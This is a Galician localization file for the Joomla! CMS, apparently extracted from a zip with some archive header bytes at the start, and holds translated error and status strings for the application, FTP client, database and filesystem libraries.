gl-ES.plg_system_sef.sys.ini gl-ES.plg_user_contactcreator.ini gl-ES.plg_user_contactcreator.sys.ini gl-ES.plg_user_joomla.ini gl-ES.plg_user_joomla.sys.ini gl-ES.plg_user_profile.ini gl-ES.plg_user_profile.sys.ini gl-ES.tpl_bluestork.ini gl-ES.tpl_bluestork.sys.ini gl-ES.tpl_hathor.ini gl-ES.tpl_hathor.sys.ini install.xml gl-ES.xml PK@y>\3lAmm#language/gl-ES/gl-ES.lib_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Double quotes in the values have to be formatted as "_QQ_" ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : erro(s) na liña(s) %s" JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN="Aceso prohibido" JLIB_APPLICATION_ERROR_APPLICATION_GET_NAME="JApplication: :getName() : Non foi posíbel obter ou analizar o nome da clase." JLIB_APPLICATION_ERROR_APPLICATION_LOAD="Non foi posíbel cargar o aplicativo: %s" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="Non ten permitido crear novos elementos nesta categoría." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="Non ten permitido modificar un ou máis destes elementos." JLIB_APPLICATION_ERROR_BATCH_FAILED="O proceso por lotes fallou coa seguinte mensaxe de erro: %s" JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND="Non é posíbel atopar a categoría de destino." JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND="Non é posíbel atopar o elemento a mover." JLIB_APPLICATION_ERROR_CHECKIN_FAILED="A validación fallou coa seguinte mensaxe de erro: %s" JLIB_APPLICATION_ERROR_CHECKIN_NOT_CHECKED="O elemento non foi destrabado" JLIB_APPLICATION_ERROR_CHECKIN_USER_MISMATCH="O usuario que traba non coincide co usuario que destrabou o elemento." JLIB_APPLICATION_ERROR_CHECKOUT_FAILED="Fallou ao destrabar coa seguinte mensaxe de erro: %s" JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH="O usuario que destraba non coincide co usuario que trabou o elemento." JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND="Compoñente non atopado" JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING="Erro cargando o compoñente: %1$s, %2$s" JLIB_APPLICATION_ERROR_CONTROLLER_GET_NAME="JController: :getName(): No foi posíbel obter ou analizar o nome da clase." JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED="Non está permitido crear un rexistro" JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED="Non está permitido eliminar" JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED="Non está permitido modificar o estado" JLIB_APPLICATION_ERROR_EDIT_ITEM_NOT_PERMITTED="Non está permitido modificar" JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED="Non está permitido modificar" JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION="Insuficiente información para executar o proceso por lotes" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER_CLASS="Clase do controlador non válida: %s" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER="Controlador non válido: nome='%s', formato='%s'" JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND="Non se atopou a presentación %s" JLIB_APPLICATION_ERROR_MODEL_GET_NAME="JModel: :getName() : non é posíbel obter ou analizar o nome da clase." JLIB_APPLICATION_ERROR_MODULE_LOAD="Erro ao cargar o módulo %s" JLIB_APPLICATION_ERROR_PATHWAY_LOAD="Non foi posíbel cargar a ruta: %s" JLIB_APPLICATION_ERROR_REORDER_FAILED="Fallou a reordenación. Erro: %s" JLIB_APPLICATION_ERROR_ROUTER_LOAD="Non é posíbel cargar o encamiñador: %s" JLIB_APPLICATION_ERROR_MODELCLASS_NOT_FOUND="A clase do modelo %s non se atopou no ficheiro" JLIB_APPLICATION_ERROR_SAVE_FAILED="Fallou ao gardar co seguinte erro: %s" JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED="Non está permitido gardar" JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED="Table %s not supported. File not found." JLIB_APPLICATION_ERROR_TASK_NOT_FOUND="A tarefa [%s] non de atopou" JLIB_APPLICATION_ERROR_UNHELD_ID="Non ten permitido empregar esa ligazón directamente a esa páxina (#%d)." JLIB_APPLICATION_ERROR_VIEW_CLASS_NOT_FOUND="Non se atopou a clase da vista [class, file]: %1$s, %2$s" JLIB_APPLICATION_ERROR_VIEW_GET_NAME_SUBSTRING="JView: :getName() : o nome da súa clase contén o termo 'view'. Isto causa problemas cando se extrae o nome da clase desde o nome da vista de obxectos. Evite nome de obxecto que conteñan a cadea 'view'." JLIB_APPLICATION_ERROR_VIEW_GET_NAME="JView: :getName() : Non foi posíbel obter ou analizar o nome da clase." JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND="Vista non atopada [name, type, prefix]: %1$s, %2$s, %3$s" JLIB_APPLICATION_SAVE_SUCCESS="O elemento gardouse con éxito." JLIB_APPLICATION_SUBMIT_SAVE_SUCCESS="O elemento enviouse con éxito." JLIB_APPLICATION_SUCCESS_BATCH="O proceso por lotes completouse con éxito." JLIB_APPLICATION_SUCCESS_ITEM_REORDERED="A orde gardouse con éxito." JLIB_APPLICATION_SUCCESS_ORDERING_SAVED="A orde gardouse con éxito." JLIB_LOGIN_AUTHENTICATE="O nome de usuario e a clave non coinciden ou aínda non ten unha conta." JLIB_CACHE_ERROR_CACHE_HANDLER_LOAD="Non é posíbel cargar o manexador da caché: %s" JLIB_CACHE_ERROR_CACHE_STORAGE_LOAD="Non é posíbel cargar o almacenamento da caché: %s" JLIB_CAPTCHA_ERROR_PLUGIN_NOT_FOUND="O engadido captcha non está estabelecido ou non se atopa. Contacte co administrador do sitio" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT="JFTP: :connect: non foi posíbel conectar ao servidor ' %1$s ' no porto ' %2$s '" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT_SOCKET="JFTP: :connect: non foi posíbel conectar ao servidor ' %1$s ' no porto ' %2$s '. Erro do conectador (socket) número: %3$s e mensaxe de erro: %4$s" JLIB_CLIENT_ERROR_JFTP_BAD_RESPONSE="JFTP: :connect: resposta incorrecta. Resposta do servidor: %s [Esperada: 220]" JLIB_CLIENT_ERROR_JFTP_BAD_USERNAME="JFTP: :login: nome de usuario incorrecto. Resposta do servidor: %1$s [Esperada: 331]. Nome de usuario enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_BAD_PASSWORD="JFTP: :login: clave incorrecta. Resposta do servidor: %1$s [Esperada: 230]. Clave enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE_NATIVE="FTP: :pwd: resposta errada" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE="JFTP: :pwd: resposta errada. Resposta do servidor: %s [Esperada: 257]" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE_NATIVE="JFTP: :syst: resposta errada" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE="JFTP: :syst: resposta errada. Resposta do servidor: %s [Esperada: 215]" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE_NATIVE="JFTP: :chdir: resposta errada" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE="JFTP: :chdir: resposta errada. Resposta do servidor: %1$s [Esperada: 250]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE_NATIVE="JFTP: :reinit: resposta errada" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE="JFTP: :reinit: resposta errada. Resposta do servidor: %s [Esperada: 220]" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_NATIVE="JFTP: :rename: resposta errada" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_FROM="JFTP: :rename: resposta errada. Resposta do servidor: %1$s [Esperada: 350]. Desde a ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_TO="JFTP: :rename: resposta errada. Resposta do servidor: %1$s [Esperada: 250]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE_NATIVE="JFTP: :chmod: resposta errada" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE="JFTP: :chmod: resposta errada. Resposta do servidor: %1$s [Esperada: 250]. Ruta enviada: %2$s. Modo enviado: %3$s" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE_NATIVE="JFTP: :delete: resposta errada" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE="JFTP: :delete: resposta errada. Resposta do servidor: %1$s [Esperada: 250]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE_NATIVE="JFTP: :mkdir: resposta errada" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE="JFTP: :mkdir: resposta errada. Resposta do servidor: %1$s [Esperada: 257]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE_NATIVE="JFTP: :restart: resposta errada" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE="JFTP: :restart: resposta errada. Resposta do servidor: %1$s [Esperada: 350]. Punto de reinicio enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_BUFFER="JFTP: :create: resposta errada" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_PASSIVE="JFTP: :create: non é posíbel empregar o modo pasivo" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE="JFTP: :create: resposta errada. Resposta do servidor: %1$s [Esperada: 150 ou 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_TRANSFER="JFTP: :create: fallou a transferencia. Resposta do servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_BUFFER="JFTP: :read: resposta errada" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_PASSIVE="JFTP: :read: non é posíbel empregar o modo pasivo" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE="JFTP: :read: resposta errada. Resposta do servidor: %1$s [Esperada: 150 ou 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_TRANSFER="JFTP: :read: fallou a transferencia. Resposta do servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE="JFTP: :get: resposta errada" JLIB_CLIENT_ERROR_JFTP_GET_PASSIVE="JFTP: :get: non é posíbel empregar o modo pasivo" JLIB_CLIENT_ERROR_JFTP_GET_WRITING_LOCAL="JFTP: :get: non é posíbel abrir o ficheiro local para a escrita. Ruta local: %s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_RETR="JFTP: :get: resposta errada. Resposta do servidor: %1$s [Esperada: 150 ou 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_TRANSFER="JFTP: :get: fallou a transferencia. Resposta do servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_PASSIVE="JFTP: :store: non é posíbel empregar o modo pasivo" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE="JFTP: :store: resposta errada" JLIB_CLIENT_ERROR_JFTP_STORE_READING_LOCAL="JFTP: :store: non é posíbel abrir o ficheiro local para a escrita. Ruta local: %s" JLIB_CLIENT_ERROR_JFTP_STORE_FIND_LOCAL="JFTP: :store: non é posíbel atopar o ficheiro local. Ruta local: %s" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_STOR="JFTP: :store: resposta errada. Resposta do servidor: %1$s [Esperada: 150 ou 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_DATA_PORT="JFTP: :store : non é posíbel escribir no conector (soquete) do porto de datos" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_TRANSFER="JFTP: :store: fallou a transferencia. Resposta do servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_PASSIVE="JFTP: :write: non é posíbel empregar o modo pasivo" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE="JFTP: :write : resposta errada" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_STOR="JFTP: :write: resposta errada. Resposta do servidor: %1$s [Esperada: 150 ou 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_DATA_PORT="JFTP: :write: non é posíbel escribir no conector (soquete) do porto de datos" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_TRANSFER="JFTP: :write: fallou a transferencia. Resposta do servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_PASSIVE="JFTP: :listNames: non é posíbel empregar o modo pasivo" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE="JFTP: :listNames: resposta errada" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_NLST="JFTP: :listNames: resposta errada. Resposta do servidor: %1$s [Esperada: 150 ou 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_TRANSFER="JFTP: :listNames: fallou a transferencia. Resposta do servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE="JFTP: :listDetails: resposta errada" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_PASSIVE="JFTP: :listDetails: non é posíbel empregar o modo pasivo" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_LIST="JFTP: :listDetails: resposta errada. Resposta do servidor: %1$s [Esperada: 150 ou 125]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_TRANSFER="JFTP: :listDetails: fallou a transferencia. Resposta do servidor: %1$s [Esperada: 226]. Ruta enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_UNRECOGNISED="JFTP: :listDetails: formato de listaxe de directorio non recoñecido" JLIB_CLIENT_ERROR_JFTP_PUTCMD_UNCONNECTED="JFTP: :_putCmd : non conectado ao porto de control" JLIB_CLIENT_ERROR_JFTP_PUTCMD_SEND="JFTP: :_putCmd: non é posíbel enviar a orde: %s" JLIB_CLIENT_ERROR_JFTP_VERIFYRESPONSE="JFTP: :_verifyResponse: resposta excedida no tempo ou non recoñecida mentres agarda unha resposta do servidor. Resposta do servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT_PORT="JFTP: :_passive: non conectado ao porto de control" JLIB_CLIENT_ERROR_JFTP_PASSIVE_RESPONSE="JFTP: :_passive: resposta excedida no tempo ou non recoñecida mentres agarda unha resposta do servidor. Resposta do servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_OBTAIN="JFTP: :_passive: non é posible obter o IP e o porto para a transferencia de datos. Resposta do servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_VALID="JFTP: :_passive: IP e porto para a transferencia de datos non válidos. Resposta do servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT="JFTP: :_passive : non foi posíbel conectar ao servidor %1$s no porto %2$s. Número de erro do conector (soquete): %3$s e mensaxe de erro: %4$s" JLIB_CLIENT_ERROR_JFTP_MODE_BINARY="JFTP: :_mode: resposta errada. Resposta do servidor: %s [Esperada: 200]. Modo de envío: binario" JLIB_CLIENT_ERROR_JFTP_MODE_ASCII="JFTP: :_mode: resposta errada. Resposta do servidor: %s [Esperada: 200]. Modo de envío: Ascii" JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED="Parece que as credenciais do usuario non son correctas..." JLIB_CLIENT_ERROR_LDAP_ADDRESS_NOT_AVAILABLE="Enderezo non dispoñíbel." JLIB_DATABASE_ERROR_ADAPTER_MYSQL="O adaptador MySQL 'mysql' non está dispoñíbel." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="O adaptador MySQL 'mysqli' non está dispoñíbel." JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Non é posíbel mudar o estado de publicado cando o elemento pai ten un estado de publicación inferior ou incompatíbel." JLIB_DATABASE_ERROR_BIND_FAILED_INVALID_SOURCE_ARGUMENT="%s: :bind failed. Argumento de orixe non válido." JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS="Outro artigo desta categoría ten o mesmo alcume" JLIB_DATABASE_ERROR_CATEGORY_UNIQUE_ALIAS="Outra categoría coa mesma categoría pai ten o mesmo alcume" JLIB_DATABASE_ERROR_CHECK_FAILED="%s: :check Failed - %s" JLIB_DATABASE_ERROR_CHECKIN_FAILED="%s: :checkIn failed - %s" JLIB_DATABASE_ERROR_CHECKOUT_FAILED="%s: :checkOut failed - %s" JLIB_DATABASE_ERROR_CHILD_ROWS_CHECKED_OUT="Filas dependentes destrabadas." JLIB_DATABASE_ERROR_CLASS_DOES_NOT_SUPPORT_ORDERING="%s non compatible coa ordenación." JLIB_DATABASE_ERROR_CLASS_IS_MISSING_FIELD="Falta un campo na base de datos: %s   %s." JLIB_DATABASE_ERROR_CLASS_NOT_FOUND_IN_FILE="Non se atopa no ficheiro a clase da táboa %s." JLIB_DATABASE_ERROR_CONNECT_DATABASE="Non é posíbel conectar coa base de datos: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="Non foi posíbel conectar con MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="Non foi posíbel conectar coa base de datos" JLIB_DATABASE_ERROR_DELETE_CATEGORY="Inconsistencia dos datos esquerda-dereita. Non é posíbel eliminar a categoría." JLIB_DATABASE_ERROR_DELETE_FAILED="%s: :delete failed - %s" JLIB_DATABASE_ERROR_DELETE_ROOT_CATEGORIES="As categorías da raíz non se poden eliminar." JLIB_DATABASE_ERROR_EMAIL_INUSE="Este correo xa está rexistrado." JLIB_DATABASE_ERROR_EMPTY_ROW_RETURNED="A fila da base de datos está baleira." JLIB_DATABASE_ERROR_FUNCTION_FAILED="A función da base de datos fallou co número de erro %s
              %s" JLIB_DATABASE_ERROR_GET_NEXT_ORDER_FAILED="%s: :getNextOrder failed - %s" JLIB_DATABASE_ERROR_GET_TREE_FAILED="%s: :getTree Failed - %s" JLIB_DATABASE_ERROR_GETNODE_FAILED="%s: :_getNode Failed - %s" JLIB_DATABASE_ERROR_GETROOTID_FAILED="%s: :getRootId Failed - %s" JLIB_DATABASE_ERROR_HIT_FAILED="%s: :hit failed - %s" JLIB_DATABASE_ERROR_INVALID_LOCATION="%s: :setLocation - Invalid location" JLIB_DATABASE_ERROR_INVALID_NODE_RECURSION="%s: :move Failed - Non é posíbel mover o nó para ser un subnó de si mesmo." JLIB_DATABASE_ERROR_INVALID_PARENT_ID="O ID (identificador) do pai non é válido." JLIB_DATABASE_ERROR_LANGUAGE_NO_TITLE="O idioma debe ter un título" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_IMAGE="Xa existe un idioma de contido con ese prefixo de imaxe" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_LANG_CODE="Xa existe un idioma de contido con esa etiqueta de idioma" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_SEF="Xa existe un idioma de contido con ese código de idioma para o URL" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Non é posíbel cargar o controlador da base de datos: %s" JLIB_DATABASE_ERROR_MENUTYPE_EMPTY="Tipo de menú baleiro" JLIB_DATABASE_ERROR_MENUTYPE_EXISTS="Tipo de menú existente: %s" JLIB_DATABASE_ERROR_MENUTYPE="Algúns elementos ou módulos de menú relacionados con este tipo de menú foron destrabados por outro usuario ou o elemento do menú predeterminado está neste menú" JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT="O parámetro de idioma para este menú ten que estabelecerse a 'Todos'. Polo menos un elemento de menú predeterminado ten que ser estabelecido a Todos, mesmo se o sitio é multiidioma." JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT_DEFAULT="Polo menos un elemento de menú ten que ser estabelecido como o predeterminado." JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME="Non é posíbel despublicar o elemento (páxina de inicio) predeterminado" JLIB_DATABASE_ERROR_MENU_DEFAULT_CHECKIN_USER_MISMATCH="O menú de inicio actual para este idioma está trabado" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS="Outro elemento de menú co mesmo pai ten o mesmo alcume" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS_ROOT="Outro elemento de menú ten o mesmo alcume na raíz. A raíz é o nivel pai máis alto" JLIB_DATABASE_ERROR_MENU_HOME_NOT_COMPONENT="O elemento de menú de inicio ten que ser un compoñente." JLIB_DATABASE_ERROR_MENU_HOME_NOT_UNIQUE_IN_MENU="Só pode haber un único menú de inicio predeterminado." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_COMPONENT="O alcume do elemento de menú de primeiro nivel non pode ser 'component'." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_FOLDER="O alcume do elemento de menú de primeiro nivel non pode ser '%s' porque '%s' é un subcartafol do seu cartafol de instalación do Joomla!." JLIB_DATABASE_ERROR_MOVE_FAILED="%s: :move failed - %s" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_CATEGORY="A categoría ten que ter un título" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_EXTENSION="A extensión ten que ter un título" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_MODULE="O módulo ten que ter un título" JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED="%s non pode ser negativo" JLIB_DATABASE_ERROR_NO_ROWS_SELECTED="Ningunha fila seleccionada." JLIB_DATABASE_ERROR_NOT_SUPPORTED_FILE_NOT_FOUND="Table %s not supported. File not found." JLIB_DATABASE_ERROR_NULL_PRIMARY_KEY="Non está permitida un identificador primario baleiro." JLIB_DATABASE_ERROR_ORDERDOWN_FAILED="%s: :orderDown Failed - %s" JLIB_DATABASE_ERROR_ORDERUP_FAILED="%s: :orderUp Failed - %s" JLIB_DATABASE_ERROR_PLEASE_ENTER_A_USER_NAME="Insira un nome de usuario." JLIB_DATABASE_ERROR_PLEASE_ENTER_YOUR_NAME="Insira o seu nome." JLIB_DATABASE_ERROR_PUBLISH_FAILED="%s: :publish failed - %s" JLIB_DATABASE_ERROR_REBUILD_FAILED="%s: :rebuild Failed - %s" JLIB_DATABASE_ERROR_REBUILDPATH_FAILED="%s: :rebuildPath Failed - %s" JLIB_DATABASE_ERROR_REORDER_FAILED="%s: :reorder failed - %s" JLIB_DATABASE_ERROR_REORDER_UPDATE_ROW_FAILED="%s: :reorder update the row %s failed - %s" JLIB_DATABASE_ERROR_ROOT_NODE_NOT_FOUND="Non se atopou o nó raíz." JLIB_DATABASE_ERROR_STORE_FAILED_UPDATE_ASSET_ID="O campo asset_id non pode ser actualizado" JLIB_DATABASE_ERROR_STORE_FAILED="%1$s: :store failed
              %2$s" JLIB_DATABASE_ERROR_USERGROUP_TITLE="O grupo de usuarios debe ter un título" JLIB_DATABASE_ERROR_USERGROUP_TITLE_EXISTS="O título do grupo de usuarios xa existe. Para o mesmo pai, o título debe ser único." JLIB_DATABASE_ERROR_USERNAME_CANNOT_CHANGE="Non pode usar este nome de usuario" JLIB_DATABASE_ERROR_USERNAME_INUSE="O nome de usuario xa está en uso" JLIB_DATABASE_ERROR_VALID_AZ09="Insira un nome de usuario. Sen espazos, con polo menos %d caracteres e que non conteña os seguintes caracteres: < > \\ \"_QQ_\" ' % ; ( ) &" JLIB_DATABASE_ERROR_VALID_MAIL="Insira un enderezo de correo válido." JLIB_DATABASE_ERROR_VIEWLEVEL="O nivel de visualización deber ter un título" JLIB_DATABASE_FUNCTION_NOERROR="As funcións da base de datos non informan de erro algún" JLIB_DOCUMENT_ERROR_UNABLE_LOAD_DOC_CLASS="Non é posíbel cargar a clase do documento" JLIB_ENVIRONMENT_SESSION_EXPIRED="A súa sesión expirou, identifíquese novamente." JLIB_ERROR_INFINITE_LOOP="Detectouse un bucle infinito en JError" JLIB_EVENT_ERROR_DISPATCHER="JDispatcher: :register: Non se recoñece o manexador do evento. Manexador: %s" JLIB_FILESYSTEM_BZIP_NOT_SUPPORTED="BZip2 non compatíbel" JLIB_FILESYSTEM_BZIP_UNABLE_TO_READ="Non é posíbel ler o arquivo (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE="Non é posíbel escribir o arquivo (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE_FILE="Non é posíbel escribir o ficheiro (bz2)" JLIB_FILESYSTEM_GZIP_NOT_SUPPORTED="GZlib non compatíbel" JLIB_FILESYSTEM_GZIP_UNABLE_TO_READ="Non é posíbel ler o arquivo (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE="Non e posíbel escribir o arquivo (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE_FILE="Non é posíbel escribir o ficheiro (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_DECOMPRESS="Unable to decompress data" JLIB_FILESYSTEM_TAR_UNABLE_TO_READ="Non é posíbel ler o arquivo (tar)" JLIB_FILESYSTEM_TAR_UNABLE_TO_DECOMPRESS="Unable to decompress data" JLIB_FILESYSTEM_TAR_UNABLE_TO_CREATE_DESTINATION="Unable to create destination" JLIB_FILESYSTEM_TAR_UNABLE_TO_WRITE_ENTRY="Unable to write entry" JLIB_FILESYSTEM_ZIP_NOT_SUPPORTED="Zlib non compatíbel" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ="Non é posíbel ler o arquivo (zip)" JLIB_FILESYSTEM_ZIP_INFO_FAILED="Fallo ao obter a información do ZIP" JLIB_FILESYSTEM_ZIP_UNABLE_TO_CREATE_DESTINATION="Unable to create destination" JLIB_FILESYSTEM_ZIP_UNABLE_TO_WRITE_ENTRY="Unable to write entry" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ_ENTRY="Non é posíbel ler a entrada" JLIB_FILESYSTEM_ZIP_UNABLE_TO_OPEN_ARCHIVE="Non é posíbel abrir o arquivo" JLIB_FILESYSTEM_ZIP_INVALID_ZIP_DATA="Datos ZIP non válidos" JLIB_FILESYSTEM_STREAM_FAILED="Non foi posíbel rexistrar as cadeas de fluxo" JLIB_FILESYSTEM_UNKNOWNARCHIVETYPE="Tipo de arquivo descoñecido" JLIB_FILESYSTEM_UNABLE_TO_LOAD_ARCHIVE="Non é posíbel cargar o arquivo" JLIB_FILESYSTEM_ERROR_JFILE_FIND_COPY="JFile::copy : non é posíbel atopar ou ler o ficheiro $%s" JLIB_FILESYSTEM_ERROR_JFILE_STREAMS="JFile: :copy(%1$s, %2$s) : %3$s" JLIB_FILESYSTEM_ERROR_COPY_FAILED="Fallo da cópia" JLIB_FILESYSTEM_DELETE_FAILED="Fallo eliminando %s" JLIB_FILESYSTEM_CANNOT_FIND_SOURCE_FILE="Non é posíbel atopar o ficheiro orixe" JLIB_FILESYSTEM_ERROR_JFILE_MOVE_STREAMS="JFile: :move: %s" JLIB_FILESYSTEM_ERROR_RENAME_FILE="Fallo ao renomear" JLIB_FILESYSTEM_ERROR_READ_UNABLE_TO_OPEN_FILE="JFile: :read: non é posíbel abrir o ficheiro: %s" JLIB_FILESYSTEM_ERROR_WRITE_STREAMS="JFile: :write(%1$s): %2$s" JLIB_FILESYSTEM_ERROR_UPLOAD="JFile: :upload: %s" JLIB_FILESYSTEM_ERROR_WARNFS_ERR01="Aviso: fallou ao mudar os permisos do ficheiro!" JLIB_FILESYSTEM_ERROR_WARNFS_ERR02="Aviso: fallou ao mover o ficheiro!" JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER="Non é posíbel atopar o cartafol de orixe" JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS="O cartafol xa existe" JLIB_FILESYSTEM_ERROR_FOLDER_CREATE="Non é posíbel crear o cartafol de destino" JLIB_FILESYSTEM_ERROR_FOLDER_OPEN="Non é posíbel abrir o cartafol de orixe" JLIB_FILESYSTEM_ERROR_FOLDER_LOOP="Detectouse un bucle infinito" JLIB_FILESYSTEM_ERROR_FOLDER_PATH="A ruta non está nas rutas de 'open_basedir'" JLIB_FILESYSTEM_ERROR_COULD_NOT_CREATE_DIRECTORY="Non foi posíbel crear o cartafol" JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY="Non pode eliminar o cartafol base." JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER="JFolder: :delete: a ruta non é un cartafol. Ruta: %s" JLIB_FILESYSTEM_ERROR_FOLDER_DELETE="JFolder: :delete: non foi posíbel eliminar o cartafol. Ruta: %s" JLIB_FILESYSTEM_ERROR_FOLDER_RENAME="Fallou ao renomear: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FILES="JFolder: :files: a ruta non é un cartafol. Ruta: %s" 